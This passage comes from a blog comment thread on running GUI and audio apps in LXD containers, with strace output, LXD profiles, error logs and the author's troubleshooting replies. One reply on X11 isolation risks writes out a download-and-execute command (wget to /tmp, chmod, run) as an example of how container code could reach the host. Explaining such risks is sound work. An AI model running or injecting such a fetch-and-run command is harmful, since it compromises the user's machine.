    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/haswell/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/tls/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/haswell/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/haswell/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/x86_64/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpulse.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpulse.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpulsecommon-13.0.so", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libsndfile.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsndfile.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libcap.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libpthread.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/librt.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libdl.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libm.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/pulseaudio/libdbus-1.so.3", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libdbus-1.so.3", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libxcb.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libsystemd.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libwrap.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libasyncns.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libFLAC.so.8", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libogg.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libvorbis.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libvorbisenc.so.2", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libXau.so.6", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libXdmcp.so.6", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblzma.so.5", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/liblz4.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgcrypt.so.20", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libnsl.so.1", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libresolv.so.2", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libbsd.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libgpg-error.so.0", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_IDENTIFICATION", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache", O_RDONLY) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MEASUREMENT", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_TELEPHONE", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_ADDRESS", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_NAME", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_PAPER", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MESSAGES", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_MONETARY", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_COLLATE", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_TIME", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_NUMERIC", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/usr/lib/locale/C.UTF-8/LC_CTYPE", O_RDONLY|O_CLOEXEC) = 3
    openat(AT_FDCWD, "/home/toochevere/.pulse/client.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/home/toochevere/.config/pulse/client.conf", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/etc/pulse/client.conf", O_RDONLY|O_CLOEXEC) = 7
    openat(AT_FDCWD, "/etc/pulse/client.conf.d", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 8
    openat(AT_FDCWD, "/etc/pulse/client.conf.d/00-disable-autospawn.conf", O_RDONLY|O_CLOEXEC) = 8
    openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C.utf8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C.UTF-8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C.utf8/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C/LC_MESSAGES/pulseaudio.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/home/toochevere/.config/pulse/cookie", O_RDONLY|O_NOCTTY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale/C/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C.UTF-8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C.utf8/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/usr/share/locale-langpack/C/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/home/toochevere/.pulse-cookie", O_RDONLY|O_NOCTTY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
    openat(AT_FDCWD, "/home/toochevere/.config", O_RDONLY|O_NOCTTY|O_NOFOLLOW|O_CLOEXEC) = 8
    openat(AT_FDCWD, "/home/toochevere/.config/pulse", O_RDONLY|O_NOCTTY|O_NOFOLLOW|O_CLOEXEC) = 8
    openat(AT_FDCWD, "/home/toochevere/.config/pulse/cookie", O_RDWR|O_CREAT|O_NOCTTY|O_CLOEXEC, 0600) = 8
    openat(AT_FDCWD, "/dev/urandom", O_RDONLY|O_NOCTTY|O_CLOEXEC) = 9
    openat(AT_FDCWD, "/etc/machine-id", O_RDONLY|O_CLOEXEC) = 8

    In both cases, some files are not accessible to the container, as you mentioned.

    1. I created a ubuntu:20.04 GUI container, then installed the chromium snap package, and started it.

      I was able to hear audio through the Chromium browser, running as a snap package, from the container.
      Specifically, I was able to play lots of Youtube videos and could hear audio just fine.

        • PJ Zoulin on June 22, 2020 at 22:03
        • Reply

        ok, well I’ll keep playing with it to see if I can figure it out. Meanwhile, in case it helps, I discovered that there seem to be some apps in general that seem to need the cookie present.

        On a related note, some apps seem to want to see an actual file at /tmp/.X11-unix/X0.

        With this profile, on 19:10 for me, most apps irrespective of packaging generally work.

        config:
        security.nesting: true # needed for flatpaks to work (and Docker)
        environment.DISPLAY: :0
        environment.PULSE_SERVER: unix:/home/ubuntu/.pulse-native
        user.user-data: |
        runcmd:
        - 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
        packages:
        - mesa-utils
        - pulseaudio
        description: GUI LXD profile
        devices:
        mygpu:
        type: gpu
        XDisplay:
        path: /tmp/.X11-unix/X0
        source: /tmp/.X11-unix/X1
        type: disk
        PACookie:
        path: /home/ubuntu/pulse-cookie
        source: /home/ubuntu/.config/pulse/cookie
        type: disk
        PASocket:
        bind: container
        connect: unix:/run/user/1000/pulse/native
        listen: unix:/home/ubuntu/.pulse-native
        security.gid: "1000"
        security.uid: "1000"
        uid: "1000"
        gid: "1000"
        mode: "0777"
        type: proxy
        X0:
        bind: container
        connect: unix:@/tmp/.X11-unix/X1
        listen: unix:@/tmp/.X11-unix/X0
        security.gid: "1000"
        security.uid: "1000"
        type: proxy

        Also, on my local machine, I have LXC_NEED_XHOST_PERMS=Y in the environment.

        Using that setup, I have not had a case where I could not make an app in some packaging work. The occasional times where a snap is not working, the flatpak version or the apt version does, and vice versa.

        I’ll continue to fiddle with 20.04 and see if I can figure out what is happening. If I find it, I’ll report back. Thanks again for your help.

    • hello on June 28, 2020 at 15:48
    • Reply

    u r the fking master <3 nice content

    1. Thanks!

    • Nick on July 17, 2020 at 21:20
    • Reply

    I went through the steps and when I go to start the container I get the error:

    Error: Common start logic: Failed to start device “mygpu”: Can’t create device as devices path is mounted nodev

    Do you know where to look next? Thanks!

    1. Hi!

      The LXD profile setup in this post does not specify the GPU, if you have more than one.
      While it makes the configuration simpler, it might not autopick the correct GPU.

      Can you tell me how many GPUs you have on this computer?
      Also, which version of Linux distro are you running on the host?

        • Nick on July 27, 2020 at 21:07
        • Reply

        Hello, thanks for responding!

        I’m running LXD on a Dell XPS 15 9550 laptop which has two GPUs: Intel HD Graphics 530 and also a NVIDIA GeForce GTX 960M. My understanding is that only one is really active at a time, though, and in my case I basically only use the Intel one. How do I go about specifying the GPU to use? I’m running Debian 10 on this (LXD installed via snap). Thanks!

      1. First, run lspci -nnn | grep Graphics in order to find the PCI ID of the Intel GPU.

        If, for example, the result is 00:02.0, then in the LXD profile for the GPU device, add the line

        pci: "0000:02:00.0"
        

        In the end, it should look like

          mygpu:
            type: gpu
            pci: "0000:02:00.0"
        
        • Nick on July 27, 2020 at 22:16
        • Reply

        I ran lspci -nnn | grep Graphics and got the result:

        00:02.0 VGA compatible controller [0300]: Intel Corporation HD Graphics 530 [8086:191b] (rev 06)

        Please correct me if I’m mistaken, but I think you had a typo in your GPU PCI string. I ended up doing the profile as:

        mygpu:
        pci: “0000:00:02.0”
        type: gpu

        which I believe should be correct. But I’m still getting the same error when I try to start it:

        Error: Common start logic: Failed to start device “mygpu”: Can’t create device as devices path is mounted nodev

        Thanks for the help.

      2. Let’s frame the case.
        What OS do you run on the host?
        Do you use the snap package of LXD, or another packaging? Which is your LXD version?

        • Nick on July 29, 2020 at 14:51
        • Reply

        Hello,

        I’m running Debian 10 with kernel 5.5. The snap package of LXD is being used, and LXD’s version is 4.3. Thanks!

      3. It is quite likely some bug. Let’s try to narrow it down.

        First, create a copy of the default LXD profile, and just add in there the gpu device. Then, launch a container. If the container does not launch, then it is an issue with the gpu device, and it is conclusive enough (no other irrelevant configuration exist in the profile).

        lxc profile copy default mytestprofile
        lxc profile edit mytestprofile
        lxc launch ubuntu:18.04 --profile mytestprofile
        

        You can file a bug report at https://github.com/lxc/lxd/issues/
        Mention your system (Debian version, lxd snap package and version).
        Show your profile with lxc profile show mytestprofile.
        That should be enough to get the issue started.

        • Nick on July 30, 2020 at 22:56
        • Reply

        Thanks a lot, I went ahead and submitted a bug report.

        1. Thanks, I found the report and I add here for completeness, https://github.com/lxc/lxd/issues/7710

          In summary, the error message on nodev was the actually issue. The storage pool did have nodev but needed (due to ZFS) some insight to find what to change.

    • Adam York on July 22, 2020 at 04:51
    • Reply

    Simos,

    Thanks very much for your excellent tutorial! Everything except sound worked for me. Andrew’s post above regarding setting the default server in /etc/pulse/client.conf to default-server = /home/ubuntu/pulse-native solved the problems I had with Pulse. It might be good to put that in the body of the blog post somewhere.

    Thanks again for your excellent post! Very useful indeed!

    1. Thanks Adam!

      There are several ways to get a shell into a LXD container.
      Some of them do not parse the environment variables that have been set, and the “PULSE_SERVER” variable is not set for that session.

      If you get a shell with “lxc exec mycontainer — sudo –user ubuntu –login”, then it should work.

      But still, editing /etc/pulse/client.conf so that it works irrespective of the way you get a shell into the LXD container is the best practice. I’ll need to test and then add to the x11 profile.

    • Adam York on July 28, 2020 at 20:50
    • Reply

    Hmm. I’m trying this again using the profile listed in this post and the container will not start.

    When I run “lxc info –show-log test-gui3”, I get the following output.

    Name: test-gui3
    Location: none
    Remote: unix://
    Architecture: x86_64
    Created: 2020/07/28 18:43 UTC
    Status: Stopped
    Type: container
    Profiles: default, x11

    Log:

    lxc test-gui3 20200728184403.606 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1153 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.test-gui3”
    lxc test-gui3 20200728184403.608 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1153 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.test-gui3”
    lxc test-gui3 20200728184403.613 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1573 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )
    lxc test-gui3 20200728184403.834 ERROR conf – conf.c:run_buffer:323 – Script exited with status 1
    lxc test-gui3 20200728184403.835 ERROR conf – conf.c:lxc_setup:3291 – Failed to run mount hooks
    lxc test-gui3 20200728184403.835 ERROR start – start.c:do_start:1224 – Failed to setup container “test-gui3”
    lxc test-gui3 20200728184403.835 ERROR sync – sync.c:__sync_wait:41 – An error occurred in another process (expected sequence number 5)
    lxc test-gui3 20200728184403.839 WARN network – network.c:lxc_delete_network_priv:3203 – Failed to rename interface with index 0 from “eth0” to its initial name “veth339d3d85”
    lxc test-gui3 20200728184403.839 ERROR lxccontainer – lxccontainer.c:wait_on_daemonized_start:850 – Received container state “ABORTING” instead of “RUNNING”
    lxc test-gui3 20200728184403.839 ERROR start – start.c:__lxc_start:1950 – Failed to spawn container “test-gui3”
    lxc test-gui3 20200728184403.839 WARN start – start.c:lxc_abort:1018 – No such process – Failed to send SIGKILL via pidfd 30 for process 1245690
    lxc 20200728184404.485 WARN commands – commands.c:lxc_cmd_rsp_recv:124 – Connection reset by peer – Failed to receive response for command “get_state”

    I am able to run gui apps using the profile you provide on this post – https://blog.simos.info/how-to-easily-run-graphics-accelerated-gui-apps-in-lxd-containers-on-your-ubuntu-desktop/

    Not quite sure how to fix this. Thoughts?

    1. The three first lines in the log that say WARN are okay.
      The next line, ERROR, about some script that exited, is the real problem.

      I can guess that it may refer to the NVidia runtime. In LXD there is a script that will setup the nvidia runtime for you.

      First, do you have an NVidia GPU? If not, you can remove the two lines that start with nvidia. and start the container again. Things should work find after that.
      Even if you have an NVidia GPU, you can try to temporarily remove those two lines just to check whether the container can start. If it does, then the script that does the setup of the NVidia runtime is not able to do its work.
      In that case, you can file a bug report at https://github.com/lxc/lxd/issues/

    • Matteo on August 16, 2020 at 14:07
    • Reply

    Hi Simons, thanks for your job, your lxd tutorials are very useful.
    I have a problem: I create the .desktop file then I pin the app to the dash. When I open the app, a second icon appears on the dash. I try to add to the .desktop file “StartupWMClass=xxx”, but doesn’t work. Is there a possible solution to avoid this duplication?
    I have ubuntu 20.04 on host and ubuntu 18.04 on lxd container.

    • mixer on August 20, 2020 at 12:45
    • Reply

    Hi, does it work with other distros as guest?

    1. It should work in other distros as guest, considering that we are using X11 features.

      Some Linux distributions are stricter when allowing access to the X server. But that concerns the host. Therefore, if the host is Ubuntu, it should work with many of the available LXD container runtimes,
      Note that in the Ubuntu container images, you get by default a non-root account called ubuntu. You will probably need to adapt the instructions a bit, such as by adding a non-root account during the container creation.

      If you have a specific request for the container image, please write it below to have a look at.

    • Alfr4 on August 29, 2020 at 00:01
    • Reply

    Hello,

    I followed your guide before and everything worked perfectly, thank you. I’m using lxd snap on fedora 32. However, after a system reinstall I had to recreate my containers and now I all I get is Dummy Output on pavucontrol. I suppose the issue is related to the “Default Sink” and “Default Source” lines indicated in pactl info:

    Server String: /tmp/pulse-PKdhtXMmr18n/native
    Library Protocol Version: 33
    Server Protocol Version: 33
    Is Local: yes
    Client Index: 26
    Tile Size: 65472
    User Name: ubuntu
    Host Name: wine
    Server Name: pulseaudio
    Server Version: 13.99.1
    Default Sample Specification: s16le 2ch 44100Hz
    Default Channel Map: front-left,front-right
    Default Sink: auto_null
    Default Source: auto_null.monitor
    Cookie: eb24:31f0
    

    I have not managed to get them to display the correct values, as here on the host:

    Server String: /run/user/1000/pulse/native
    Library Protocol Version: 33
    Server Protocol Version: 33
    Is Local: yes
    Client Index: 8
    Tile Size: 65472
    User Name: alfr4
    Host Name: fedora32
    Server Name: pulseaudio
    Server Version: 13.99.1-rebootstrapped
    Default Sample Specification: s16le 2ch 44100Hz
    Default Channel Map: front-left,front-right
    Default Sink: alsa_output.pci-0000_05_01.0.analog-stereo
    Default Source: alsa_input.pci-0000_00_1b.0.iec958-stereo
    Cookie: d6a0:a105
    

    Any clue as to what could be happening? Here’s my graphics profile:

    config:
      environment.DISPLAY: :0
      environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native
      raw.idmap: both 1000 1000
      user.user-data: |
        cloud-config
        runcmd:
          - 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
        packages:
          - x11-apps
          - mesa-utils
          - pulseaudio
    description: GUI LXD profile
    devices:
      PASocket1:
        bind: container
        connect: unix:/run/user/1000/pulse/native
        gid: "1000"
        listen: unix:/home/ubuntu/pulse-native
        mode: "0777"
        security.gid: "1000"
        security.uid: "1000"
        type: proxy
        uid: "1000"
      X0:
        path: /tmp/.X11-unix/X0
        source: /tmp/.X11-unix/X0
        type: disk
      eth0:
        nictype: macvlan
        parent: enp3s0
        type: nic
      mygpu:
        type: gpu
    name: graphics
    

    Thanks,

    Alfr4

    1. Hi!

      As I understand, your host is Fedora 31 and your container is a version of Ubuntu, most likely Ubuntu 20.04.1 (deduced from the PulseAudio version).

      You can run pactl list sinks in the container to get a list of sinks. If you get Access denied, try a couple more times. You should be able to get the list of audio sinks on the host. If you do not, then the container is not communicating with the host, as if the container is running the PulseAudio server without a sound card.

    • mixer on August 29, 2020 at 11:45
    • Reply

    Thanks!

    I want to ask other question:

    You said that container has full access to X server, and to not run malicious or untrusted software in the container.
    Is the only danger the issue that software in the container will have access to keyboard and mouse input, and screen output? Like keylogger or something like that. Or is the danger greater, like some malicious code execution on host or other dangers? Of course assuming that software on host (xorg or possibly other components) dont have serious security bugs, if they are not inherent to their design.

    If reading keyboard/mouse/screen input/output by malicious program is the only problem, does using Xwayland mitigate this issue?

    1. The immediate issue is things like keyloggers, or capturing keyboard/mouse events. Also, can take screenshots. This is a generic issue with X11 and has been there since forever. See more at http://theinvisiblethings.blogspot.com/2011/04/linux-security-circus-on-gui-isolation.html

      Of course, you can run a separate, nested, X server on the host, and direct the container output to that separate X server. By doing so, you are protecting your host’s X server by all sort of risks.
      An example of such a nested X server is Xephyr.
      In such a case, you would need to deal with potential security issues within Xephyr.

      Regarding code execution from the container to the host’s X server, through the X socket, it could be possible with sending something like the following to a terminal: ‘wget http://… -O /tmp/myapp ; chmod + /tmp/myapp ; /tmp/myapp`

    • Alfr4 on August 30, 2020 at 03:55
    • Reply

    Thanks for the tip. I’m on fedora 32 and the container is ubuntu 20 but earlier versions of ubuntu produce the same problem. The list of sinks is pretty much what I expected:

    Sink #0
    State: SUSPENDED
    Name: auto_null
    Description: Dummy Output
    Driver: module-null-sink.c
    Sample Specification: s16le 2ch 44100Hz
    Channel Map: front-left,front-right
    Owner Module: 10
    Mute: no
    Volume: front-left: 65536 / 100% / 0.00 dB, front-right: 65536 / 100% / 0.00 dB
    balance 0.00
    Base Volume: 65536 / 100% / 0.00 dB
    Monitor Source: auto_null.monitor
    Latency: 0 usec, configured 0 usec
    Flags: DECIBEL_VOLUME LATENCY SET_FORMATS
    Properties:
    device.description = “Dummy Output”
    device.class = “abstract”
    device.icon_name = “audio-card”
    Formats:
    pcm

    Any idea how to get these two talking to each other? Thanks again.

    Alfr4

    1. I do not have a Fedora installation and cannot replicate.

      My guess would be that there is a PulseAudio server in the container that obviously has no access to audio hardware, hence you get those dummy audio devices.

      The correct behavior would be for the container to use only the client PulseAudio libraries and connect through the PulseAudio Unix socket to the PulseAudio installation on the host. By doing so, the container will be able to access the real audio devices of your computer.

    • mixer on September 2, 2020 at 05:51
    • Reply

    So if i deliberately do not run terminal connected to the same xephyr display as lxd container, it should not be able to execute commands on terminals connected to the main xorg server, right?

    Is it possible to use Xpra instead of Xephyr?

    Would 3d acceleration suffer with any of these solutions?

    This solution sounds really nice, especially that Xephyr or Xpra could be also additionally sandboxed with other tools.

    1. If you configure your LXD container to connect to the X11 port of your Xephyr (or xpra), then the applications from your X11 LXD container will be separated from your host.

      You can use Xephyr, xpra and several others as well.

      The big downside is that 3D acceleration will suffer. In some cases it will be noticeably slower, in other cases you will not be able to run GPU-accelerated (GL) applications.

    • Matteo on September 18, 2020 at 09:36
    • Reply

    Hi Simos,
    I created 4 containers with interface enabled following your guide and they worked for 3 months. Yesterday I worked with one of them, I run a gui application, then I closed it and I stopped the container. Aftert that, I tried to start another gui container and this error appeared:

    Error: Error occurred when starting proxy device: Error: Failed to listen on @/tmp/.X11-unix/X0: listen unix @/tmp/.X11-unix/X0: bind: permission denied

    I run lxc info –show-log , this is the output:

    lxc 20200918081855.599 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.vue-dev”
    lxc 20200918081855.604 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.vue-dev”
    lxc 20200918081855.626 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1573 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )
    lxc 20200918081902.640 WARN cgfsng – cgroups/cgfsng.c:cgfsng_monitor_destroy:1109 – Success – Failed to initialize cpuset /sys/fs/cgroup/cpuset//lxc.pivot/lxc.pivot

    This is my profile:

    config:
    environment.DISPLAY: :0
    environment.PULSE_SERVER: unix:/home/myuser/pulse-native
    nvidia.driver.capabilities: all
    raw.idmap: both 1000 1000
    user.user-data: |
    #cloud-config
    users:
    – name: myuser
    groups: [sudo, adm, cdrom, dip, plugdev]
    shell: /bin/bash
    sudo: [‘ALL=(ALL) NOPASSWD:ALL’]
    runcmd:
    – ‘sed -i “s/; enable-shm = yes/enable-shm = no/g” /etc/pulse/client.conf’
    packages:
    – x11-apps
    – mesa-utils
    – pulseaudio
    package_update: true
    package_upgrade: true
    description: GUI LXD profile
    devices:
    PASocket1:
    bind: container
    connect: unix:/run/user/1000/pulse/native
    gid: “1000”
    listen: unix:/home/myuser/pulse-native
    mode: “0777”
    security.gid: “1000”
    security.uid: “1000”
    type: proxy
    uid: “1000”
    X0:
    bind: container
    connect: unix:@/tmp/.X11-unix/X0
    listen: unix:@/tmp/.X11-unix/X0
    security.gid: “1000”
    security.uid: “1000”
    type: proxy
    mygpu:
    type: gpu
    name: x11
    used_by:
    – /1.0/instances/
    – /1.0/instances/
    – /1.0/instances/
    – /1.0/instances/

    Container is ubuntu 18.04 and the host is ubuntu 20.04.
    If I remove the X0 device the containers start successfully (without gui obviously).

    Do you have any suggestion in order to fix this problem?
    Thanks for all your job, your posts are very interesting.

    Matteo

    • Michael C on September 18, 2020 at 10:46
    • Reply

    Just wanted to say that I am facing the same issue as Matteo. If the container was already running it would be fine, but if it restart the container then I will face this issue. The only thing I can think of is doing an update on my Ubuntu 18.04 host today.

    $ lxc info –show-log ros18-pybullet-rl
    Name: ros18-pybullet-rl
    Location: none
    Remote: unix://
    Architecture: x86_64
    Created: 2020/09/14 11:18 UTC
    Status: Stopped
    Type: container
    Profiles: default, gui

    Log:
    lxc ros18-pybullet-rl 20200918093524.604 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.monitor.ros18-pybullet-rl”
    lxc ros18-pybullet-rl 20200918093524.606 WARN cgfsng – cgroups/cgfsng.c:mkdir_eexist_on_last:1152 – File exists – Failed to create directory “/sys/fs/cgroup/cpuset//lxc.payload.ros18-pybullet-rl”
    lxc ros18-pybullet-rl 20200918093524.616 WARN cgfsng – cgroups/cgfsng.c:fchowmodat:1573 – No such file or directory – Failed to fchownat(17, memory.oom.group, 1000000000, 0, AT_EMPTY_PATH | AT_SYMLINK_NOFOLLOW )
    lxc ros18-pybullet-rl 20200918093534.444 WARN cgfsng – cgroups/cgfsng.c:cgfsng_monitor_destroy:1109 – Success – Failed to initialize cpuset /sys/fs/cgroup/cpuset//lxc.pivot/lxc.pivot

    • Matteo on September 18, 2020 at 11:40
    • Reply

    I just noticed that yesterday LXD has been upgraded from 4.4/stable to 4.5/stable. I think that could be the source of the problem. In that case, is there an easy way to downgrade LXD to 4.4 or to the LTS version? Or do I have to backup my containers, uninstall LXD and install another version?

    • Martin on September 18, 2020 at 15:29
    • Reply

    Same issue here. I can’t start any of the GUI containers:

    Error: Error occurred when starting proxy device: Error: Failed to listen on @/tmp/.X11-unix/X0: listen unix @/tmp/.X11-unix/X0: bind: permission denied

    with the following details:
